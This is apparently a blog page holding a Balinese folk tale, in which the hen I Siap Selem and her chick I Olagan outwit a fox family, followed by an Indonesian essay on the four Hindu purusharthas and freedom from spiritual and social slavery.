Sedek dina anu, guleme peteng dedet tur ujane bales pesan. Duaning umahne I Siap Selem tuduhang, pedaleme panakne enu cerik-cerik ujanan. Duaning abuka keto laut I Siap Selem madunungan lan nginep di umahne I Kuuk tur baange I Siap Selem pules di paone. Petenge ento I kuuk tusing dadi pules-pules mapan I Kuuk ngrincikang naya upaya utawi ngeka daya apang dadi ngamah ben panakne I Siap Selem, panakne I Kuuk suba dot pesan ngamah ben panakne I Siap Selem sambilanga mamunyi kene : “Icang baang tendasne me, icang basangne me, icang seguk-segukne dogen me, icang batisne me. “ Dingeha kone pakrengkenganne I Memen Kuuk ajaka panak-panakne abuka keto teken I Siap Selem, duaning petenge ento I Siap Selem tusing pules.

Suba lantas keto, dadi I Siap Selem ngeka daya tur mangunang panak-panakne buka papitu. “ Ih cai, nyai ajak makejang panak meme, I Kuuk suba siaga bakal ngamah I deweke ajak mekejang, ane jani lakar ja mulih makeber seka ukud apanga saru lan tusing dingeha teken I Kuuk. “Ditu lantas panakne ane paling gedena nyumunin makeber, berber, burbur suak. Dingeha munyin abuka keto teken I Kuuk, lantas ia matakon, “Ih Siap Selem, munyin apa ento? Mesaut I Siap Selem, “Oh ento, don timbul nonga ulung. “Buin makeber ane lenan, berber, burbur sruak. “Siap Selem apa ento ulung?” Masaut buin I Siap Selem..,”Don tiing ento men Kuuk. “Dadi telah kone suba panakne I Siap Selem makeber ninggalin tongosne nginep. Sakewala enu aukud I Olagan dogen. Dening ia tan makampid dadi keweh pesan memene. Ditu lantas I Siap Selem nuturin I Olagan. Cai-cai Olagan, tuahke saja nasibe tusing dadi kelidin, kene lantas Cai buka jani ngelah kampid tusing mabulu ane ngranayang cai tusing nyidang mekeber. Cai jani lakar kutang meme dini, cai lakar serung meme aji batu. Da pesan nyen cai pesu uli batune ene yen pet pada teka I Kuuk mai, sinah suba lakar ngamah cai. Kene abete masaut, inggih jero Wayan yening Jero Wayan jagi nadah tiang pocol-pocol jero, napi mawinan tiang puniki kantun cerik, ben tiange akidik, belig, tur pait makilit. Nah, pungkuran yening sampun tiang gede lan sampun tumbuh kampid irika wawu becik tur jaen ben tiange” keto kone pituturne I Siap Selem teken pianakne I Olagan. Berber burbur kresuak. Ningehang munyine ento buin I Kuuk matakon “Apa ento Siap Selem munyine gede pisan ?” Makelo tusing ada pesaut, tuah munyine I Olagan ane dingehe kauk-kauk. “Ija ya kalaine panakne I Olagan dadi munyin iane dogen dingeh. Beh ento jenenga munyi ane ibi sanja orahanga don timbul, don tiying, teken I Siap Selem. “Lantas nygjag panak kuuke makejang magarang nagih ngamah I Olagan. Duaning gageson tur pada magarang nagih ngamah I Olagan, ditu lantas ada nyagrep batu kadene panakne I Siap Selem nyantos kepus gigine. Di subane keto inget I Olagan teken tutur memene, tur mamunyi buka kene, “Ih Jero Wayan, yan dadi pangidih tiange, mangkin sampunang tadaha tiang duaning ben tiange kari belig malih pait. Pungkuran yan sampun tiang ageng, kampid tiang tumbuh bulu, rah tiange akeh, rikala irika rarisang sampun tadah tiang sapakayun Jerone!” Sesubane ada pangidih I Olagan buka keto satinut I Kuuk ngajak panak-panakne. Ditu lantas I Olagan pesing-pesingan lan baanga ngamah sewai apang enggalang gede, tur I Olagan urukakanga menek kaundage.
Kaceritayang jani suba kone gede I Olagan, bulunnyane samah ditu lantas I Kuuk ajaka panakne makejang nagih ngamah ia. Nadak kone ia I Olagan ngeka daya, tur mamunyi buka kene, “Inggih Jero Wayan mangkin ja nyandang tiang baksa, nanging wenten pinunas tiange ring Jerone, keburang tiang dumun ping solas mangda sumbreh getih tiange tur becik baksa Jero malih akeh keniang. Sesampune puput ping solas tiang makebur, rarisang sampun tiang baksa. “ Dadi belog tutut I Kuuk laut kakebur keburang I Olagan. Suba kone pin dasa I Olagan ka keburang, ane buin cepok kasangetang ngeburang kanti tegeh, sinambi panak-panakne I Kuuk magending, “Ber-ber ketiber I Olagan duweg makeber, berrrr…. I Olagan nambung ngalih memene lan nyaman adi tengah bete. Enggang bungutne I Kuuk kauk-kauk ngaukin memene. Mesaut memene I Kuuk, “Kenkenang men cai, nyai bas aluh tus bas enggal ngugu munyin I Olagan tusing pesan makeneh-keneh malu, jani awake payu kado, nah endepang deweke !”
Sedekang dina anu, I Siap Selem mejalan-jalan sambilanga ngalih amah disisin tukade. Ditu I Siap Selem ajaka panak-panakne masemu bingar saha magegendingan. “Ngik ngak ngik gigi pungak negor batu. “Dingeha pawalekne I Siap Selem uli selat tukad teken I Kuuk ditu pesu gedegne I Kuuk. Yadiastun keto, I Kuuk tusing ngidang ngorahang apa

Makna Hidup

Kesemuanya dharma (tindakan tepat), artha (keamanan sosial), kama (kenyamanan dasar) dan moksha atau kebebasan – lazimnya dianggap sebagai empat purushartha, empat pilar terpenting dari struktur kehidupan manusia.

Purusharta berasal dari bahasa Sansekerta, sebenarnya terdiri atas dua kata, purusha dan artha. Purusha biasanya diterjemahkan sebagai pria; tapi makna ini, dapat diperluas mencakup wanita juga. Jadi Purusha ialah keduanya, laki-laki dan perempuan – manusia.

Artha dapat berarti kekayaan, uang dan bahkan makna. Ini ialah sesuatu yang memberi arti bagi hidupmu. Jadi keempat Purushartha semuanya memberi makna pada kehidupan. Sekarang, anda tak harus menjadi orang Bali untuk setuju bahwa mereka, sejatinya, merupakan empat hal terpenting dalam hidup ini. Semuanya disebut pilar struktur kehidupan manusia.

Kita semua butuh untuk tahu apa yang tepat dan apa yang tidak tepat. Kita semua membutuhkan sesuatu seperti keamanan sosial, kenyamanan dan kebebasan.  Itulah kebutuhan dasar dan lazim dari semua manusia. Bagaimana kita memenuhi kebutuhan itu? Bagaimana kita menggapainya?

Leluhur kita menasehati kita untuk memulainya dengan dharma. Seseorang harus tahu apa yang tepat, dan apa yang tidak tepat dilakukan. Dengan pemahaman semacam ini, seseorang harus memperoleh kemampuan yang dibutuhkan dan keahlian untuk menjalankan bidang tindakan yang dipilih.

“Dahulukan yang penting,” begitulah nasehat yang dipopulerkan Stephen Covey. Pertama, kita harus mendapatkan dharma. Tanpa kebijaksanaan untuk memilah apa yang tepat dan apa yang tak tepat, kita tak dapat berhasil dalam hidup. Dan untuk mengembangkan kebijaksananaan semacam itu, sangatlah penting bahwa kita memiliki sebuah pikiran yang tajam dan kemauan untuk belajar.

Kebijaksanaan ialah buah dari pembelajaran. Kita belajar dari buku. Kita juga belajar dari mengamati orang lain dan pengalaman hidup mereka. Yang terpenting, kita belajar dari pengalaman kita sendiri. Dalam beberapa tahun pertama kehidupan kita, kita belajar ddengan mengamati orang lain. Itu yang kita lakukan saat kita masih anak-anak. Kita tak dapat membaca; kita tak bisa menulis; tapi kita bisa mengamati. Membaca dan menulis datang kemudian – yang pertama ialah observasi.

Anak-anak, yang kekurangan kemampuan pengamatan ini umumnya tak terlalu ingin tahu. Mereka tidak banyak bertanya. Kita mungkin menganggapnya sebagai anak yang bertipe pendiam. Kita mungkin merasa senang dengan hal tersebut, karena mereka tak menggangu kita seperti halnya tipe anak yang suka bertanya. Kendati demikian,  hal ini tak bagus. Anak-anak yang kurang observasi tak hanya tumbuh secara kurang bijaksana, tapi juga kurang dinamis.

Inilah alasan kenapa kita mempunyai banyak motivator di hari-hari belakangan ini. Sebagian dari kita yang kurang mengobservasi saat masa kanan-kanak tak bisa melakukan apa-apa tanpa mereka. Kita pelu dimotivasi, dan didorong untuk mencapai tujuan kita dalam kehidupan, untuk memenuhi dan meraih segalanya.

Amati anak-anak anda dan periksa seberapa kerap ia melakukan observasi. Anak yang observan bukanlah anak yang nakal dan bandel, tapi ia yang selalu bertanya, “apa ini? apa itu?”. Ini ialah pikiran yang bertanya yang membantu anak mekar menjadi manusia yang utuh. Tanpa pikitan yang bertanya, kita tetaplah separuh manusia.

Pikiran yang kritis bertanya, kendati demikian, tak dapat diperbudak. Memang ada komunitas, masyarakat dan sistem sosial yang tak suka dengan pikiran yang kritis. Mereka melecehkan intelegensia. Mereka mengharapkan pikiran yang tumpul yang dapat diarahkan da dikuasai. Penguasa di manapun, dan di bidang apapun menentang orang cerdas, karena mereka tak bisa diperbudak.

Purushaartha, seperti yang diwariskan leluhur kita, ialah bukan untuk para budak. Selain perbudakan, mereka tak punya pilihan lain dalam hidup. Perbudakan ialah satu-satunya makna dalam hidup mereka. Mereka tak dapat meraih dharma, artha, kama dan moksa. Mereka tak bebas melakukan apapun. Mereka telah diperbudak begitu lama sehingga mereka tak lagi merasa berharga, atau bahkan memahami, arti kebebasan dan kemerdekaan itu sendiri.

Sayangnya, perbudakan bukan tradisi yang usang dan mati. Pada zaman Musa perbudakan begitu kasat mata dan dan tumbuh subur seperti pada. Sekarang kita mempunyai penguasa genre baru. Di mana pemerintah tak lagi kejam, ekonomi, sosial, religius dan institusi yang sejenis lainnya menjadi para penguasa baru. Mereka dapat mengontrol pemerintah dari balik layar sehingga tetap terlihat.

Untuk menggapai keempat purushaartha ialah untuk mematahkan rantai perbudakan, dan membebaskan pikiran kita. Tapi seperti yang telah saya katakan, jika kita terlalu lama dipebudak, kita bahkan bisa jadi tak memahami arti kebebasan. Kita mungkin malah menikmati perbudakan, dan merasa nyaman. Oleh sebab itu, dari waktu ke waktu, kita membutuhkan seorang Musa atau seorang Muhammad, seorang Buddha atau seorang Krishna, seorang Washington atau seorang Gandhi untuk menunjukan pada kita jalan keluar dari pebudakan.

Para mesias, nabi, manusia tuhan, avatar atau apapun sebutan anda bagi mereka  sebenarnya “orang bebas.” Mereka mengetahui arti kebebasan. Mereka ialah manusia dengan pikiran yang tajam dan intelegensia super. Mereka bisa merangkul keempat Purushartha dan menghayati kehidupan dengan gayanya sendiri. Dan mereka hendak berbagi dengan kita jenis kebebasan yang mereka nikmati. Mereka menghampiri kita untuk menunjukkan pada kita jalan keluar dari perbudakan.

Ya, itu ialah apa yang mereka tepatnya lakukan. Mereka “menunjukkan” pada kita jalan menuju kebebasan, kemandirian, kemerdekaan dan keadilan untuk semua. Kita masih harus menapaki jalan itu. Mereka tak bisa berjalan untuk kita.

sumber:  http://www.hindu-dharma.org/

« Older entries
Ikuti

Kirimkan setiap pos baru ke Kotak Masuk Anda.